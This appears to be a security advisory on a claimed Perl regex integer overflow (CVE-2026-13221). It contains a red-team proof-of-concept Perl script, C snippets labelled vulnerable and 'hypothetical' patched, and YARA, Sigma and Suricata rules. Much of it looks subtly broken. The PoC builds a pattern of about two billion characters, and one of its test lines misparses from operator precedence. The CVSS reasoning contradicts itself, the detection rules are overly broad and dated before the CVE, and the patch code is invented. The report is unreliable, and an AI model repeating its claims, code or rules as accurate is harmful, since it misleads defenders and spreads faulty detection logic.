CVE-2026-13221

Executive Summary

CVE-2026-13221 is a critical integer overflow vulnerability in the Perl programming language's regular expression engine, specifically within the Perl_study_chunk function. When an alternation (e.g., (a|b|c|...)) contains more than 65,535 fixed string branches, the delta between the first branch and the shared tail is stored in a 16-bit field. This field overflows, causing the trie's match decision table to be truncated without any warning or error. The result is silently incorrect regular expression matches—both false positives (matching strings it should not) and false negatives (failing to match strings it should). This vulnerability can lead to security bypasses in applications that rely on Perl regex for access control, input validation, or filtering decisions.

Supply Chain & Package Security

Perl is a widely used scripting language, and this vulnerability affects the core interpreter itself. Any application, module, or system that uses Perl's regex engine with large alternations is at risk. This includes CPAN modules, web applications (e.g., CGI scripts), and system administration tools. The vulnerability is in the language runtime, not a specific package, so the entire Perl ecosystem is impacted. Organizations should inventory all Perl installations and assess their exposure to regex patterns with large alternations.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be triggered remotely by sending crafted input to a Perl application.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to provide a regex with >65,535 branches.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – The victim does not need to perform any action beyond processing the input.
• Scope (S): Unchanged (U) – The vulnerability does not cross trust boundaries.
• Confidentiality (C): Low (L) – Limited information disclosure (e.g., bypassing access controls).
• Integrity (I): Low (L) – Limited integrity impact (e.g., false positive/negative matches).
• Availability (A): None (N) – No direct denial of service.

CVSS Score: 5.4 (Medium)

Threat Level: Medium – Exploitation requires crafting a specific regex pattern, but the impact can be significant in security-critical contexts.

Deep Dive & Mechanics

The vulnerability lies in the Perl_study_chunk function within regcomp.c. When Perl compiles a regular expression, it optimizes alternations of fixed strings into a trie data structure. The trie stores the delta (offset) between the first branch and the shared tail in a 16-bit field. The maximum value for a 16-bit unsigned integer is 65,535. When the number of branches exceeds this limit, the delta overflows, wrapping around to a small value. This causes the trie's match decision table to be truncated, leading to incorrect matching behavior.

Technical Flow:

1. A regex pattern like (a|b|c|...|z) with >65,535 branches is compiled.
2. Perl_study_chunk attempts to build a trie for the alternation.
3. The delta for each branch is stored in a 16-bit field.
4. When the branch count exceeds 65,535, the delta overflows.
5. The trie's match decision table is truncated, causing incorrect matches.
6. No error or warning is generated during compilation or execution.

Example Pattern:

# This pattern has >65535 branches
my $pattern = '(' . join('|', map { 'a' x $_ } (1..65536)) . ')';

Vulnerable vs. Patched Code

Vulnerable Code (Perl <= 5.43.9):

// In regcomp.c, Perl_study_chunk function
// The delta is stored in a 16-bit field
U16 delta = (U16)(branch_offset - first_branch_offset);
// No overflow check

Patched Code (Hypothetical):

// In regcomp.c, Perl_study_chunk function
// Use a larger integer type and check for overflow
U32 delta = branch_offset - first_branch_offset;
if (delta > U16_MAX) {
    // Fall back to non-trie optimization or emit warning
    warn("Alternation too large for trie optimization");
    // Use alternative matching strategy
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Perl version <= 5.43.9
• Ability to supply a regex pattern with >65,535 branches

Exploitation Steps:

1. Generate a regex pattern with >65,535 fixed string branches.
2. Submit the pattern to a vulnerable Perl application that uses it for access control or filtering.
3. Observe false positive/negative matches to bypass security controls.

Example Exploit Script:

#!/usr/bin/perl
use strict;
use warnings;

# Generate a pattern with 65536 branches
my @branches;
for my $i (1..65536) {
    push @branches, 'a' x $i;
}
my $pattern = '(' . join('|', @branches) . ')';

# Compile the regex
my $re = qr/$pattern/;

# Test matching
print "Testing false positive:\n";
if ("b" =~ $re) {
    print "  FALSE POSITIVE: 'b' matched (should not)\n";
} else {
    print "  Correct: 'b' did not match\n";
}

print "Testing false negative:\n";
if ("a" x 100 =~ $re) {
    print "  Correct: 'a'x100 matched\n";
} else {
    print "  FALSE NEGATIVE: 'a'x100 did not match (should)\n";
}

Blue Team

Detection:

• Monitor for Perl processes consuming excessive CPU or memory when compiling regex patterns.
• Look for patterns with an unusually large number of alternations in logs or network traffic.
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Mitigation:

• Upgrade to a patched version of Perl when available.
• Implement input validation to reject regex patterns with >65,535 branches.
• Use alternative regex engines (e.g., PCRE) for security-critical matching.
• Apply Web Application Firewall (WAF) rules to block patterns with excessive alternations.

Indicators of Compromise (IOCs)

• File Hashes: N/A (vulnerability is in source code, not specific binaries)
• Network Signatures: Regex patterns with >65,535 alternations in HTTP requests or other network protocols
• Log Entries: Perl warnings or errors related to regex compilation (though none are generated by the vulnerability itself)
• Process Behavior: Perl processes with high CPU usage during regex compilation
• YARA Rule: See Detection Engineering section

Detection Engineering

YARA Rule

rule CVE_2026_13221_Perl_Regex_Overflow {
    meta:
        description = "Detects Perl regex patterns with excessive alternations"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-13221"
    strings:
        $re_pattern = /\([a-zA-Z0-9_]+(?:\|[a-zA-Z0-9_]+){65535,}\)/
    condition:
        $re_pattern
}

Sigma Rule

title: Perl Regex Alternation Overflow
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects Perl processes compiling regex patterns with excessive alternations
author: Valters IT
date: 2025/04/10
tags:
    - attack.t1574.002
    - cve.2026.13221
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/perl'
        CommandLine|contains: '|'
    condition: selection
falsepositives:
    - Legitimate use of large alternations in non-security contexts
level: medium

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2026-13221 Perl Regex Alternation Overflow"; flow:to_server,established; content:"|28|"; distance:0; within:65536; content:"|7c|"; distance:0; within:65536; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Perl: Monitor for official patches from the Perl project and apply them as soon as available.
2. Input Validation: Implement server-side validation to reject regex patterns with >65,535 alternations.
3. WAF Rules: Deploy Web Application Firewall rules to block requests containing regex patterns with excessive alternations.
4. Code Review: Audit existing Perl code for regex patterns that could be exploited.

Long-Term Mitigations:

1. Use Alternative Regex Engines: For security-critical matching, consider using PCRE or RE2 which do not have this vulnerability.
2. Limit Regex Complexity: Implement application-level limits on regex pattern complexity.
3. Monitor for Exploitation: Deploy the detection rules provided in this report to identify potential exploitation attempts.

Patch Status: UNKNOWN / UNPATCHED – No official patch has been released as of this writing. Organizations should implement the mitigations above until a patch is available.

Valters IT
DevSecOps & Cyber Threat Intelligence